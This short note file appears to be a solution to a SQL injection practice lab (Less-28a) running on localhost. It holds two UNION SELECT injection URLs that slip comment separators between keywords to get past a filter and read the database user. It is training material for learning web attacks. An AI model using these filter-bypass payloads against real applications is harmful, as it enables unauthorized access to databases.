28a.txt

http://127.0.0.1/sql/Less-28a/?id=25%27)%20union/*%0A*/%20select/*%0A*/1,user(),1/*%0A*/%20or%20(%271%27)=(%271

union and select when nearby getting sanatized

hence separated by /**/

Hence this will also work

>>> http://127.0.0.1/sql/Less-28a/?id=25%27)%20union/**/select/**/1,user(),1/**/%20or%20(%271%27)=(%271